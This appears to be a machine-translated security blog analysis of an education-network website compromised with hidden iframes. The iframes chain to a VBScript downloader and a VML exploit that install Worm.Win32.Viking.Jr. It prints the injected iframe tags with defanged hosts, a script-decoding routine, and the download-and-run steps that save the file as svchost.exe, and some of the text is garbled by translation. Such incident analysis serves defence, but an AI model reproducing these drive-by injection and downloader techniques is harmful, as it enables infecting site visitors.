A certain Hexi District Education Information Network was added to spread code such as worm. win32.viking. Jr.

EndurerOriginal
1Version

Code added at the end of the Home Page:
/---
<IFRAME src = "hxxp: // W **. Q ** B * B ***** d.com/bb?d=.htm? 001 "width =" 0 "Height =" 0 "frameborder =" 0 "> </iframe>
<IFRAME src = "hxxp: // www. M * m *** Ju **. net/BBS/T **** J *. htm "width =" 0 "Height =" 0 "frameborder =" 0 "> </iframe> <IFRAME src =" hxxp: // www. M * m *** Ju **. net/BBS/T **** J *. htm "width =" 0 "Height =" 0 "frameborder =" 0 "> </iframe> <IFRAME src = % 68% 74% 74% 3A % 2f % 2f % 6 * % * 2 * E % 74% 6*8 ** % 6*5% 63% 2e % 6*3% 6 * E % 2 * F % 7*7% 77% 6B % 6 * C % 2f/% 31% 2 * E % 68 * % 74% 6D width = 0 Height = 0> </iframe>
---/

Hxxp: // www. M * m *** Ju **. Net/BBS/T *** J *. htmCode included:
/---
<IFRAME src = "hxxp: // define qbbd.com/bd.htm? 001 "width =" 0 "Height =" 0 "frameborder =" 0 "> </iframe>
---/

Hxxp: // W **. Q ** B * B *** d.com/ B ?*d=.htm? 001Code included:
/---
<IFRAME src = "hxxp: // W **. Q ** B * B ***** d.com/0.htm "width =" 0 "Height =" 0 "frameborder =" 0 "> </iframe>
---/

Hxxp: // W **. Q ** B * B *** d.com/0.htm(The Rising web page monitoring report is:Trojan. DL. vbs. Agent. CloIncluding VBScript code. The function is to use a custom function:

Function rechange (k)
S = Split (k ,",")
T = ""
For I = 0 to ubound (s)
T = T + CHR (eval (S (I )))
Next
Rechange = T
End Function

Decrypt the value of variable t and execute it.

The decrypted value of variable t is the VBScript code. The function is Microsoft. XMLHTTP and scripting. FileSystemObject. The downloaded file 0.exeis saved as % Temp %/svchost.exe and the content is
/---
Set shell = Shell. Application
Shell. ShellExecute % Temp %/svchost.exe "", "open", 0
---/
To run SVCHOST. vbs through the ShellExecute method of the shell. Application object, so that % Temp %/svchost.exe has run.

File Description: D:/test/0.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 20:40:47
Modification time:
Access time:
Size: 69037 bytes, 67.429 KB
MD5: 35ecfe1014702d38a40a0b428679c06a

Scanned file: 0.rar-infected

0. rar/0.exe-infected by worm. win32.viking. Jr Statistics: Known viruses: 285996 Updated: 26-03-2007 File size (Kb ): 64 Virus bodies: 1 Files: 1 Warnings: 0 Archives: 1 Suspicious: 0

% 68% 74% 74% 3A % 2f % 2f % 6 * A % * 2 * E % 70% 6*8 ** % 6*5% 74% 2e % 6*3% 6 * E % 2 * F % 7*7% 77% 6B % 6 * C % 2f/% 31% 2 * E % 68 * % 74% 6D that isHxxp: // J **. t ** H ** e ** c.cn/w/?w=k=*l//1.htm
Contains Javascript script code. The function is to use Unescape to decrypt and output the value of the variable words. The decrypted value of words contains information: <! -- VML 'exploit! --> And shellcode ......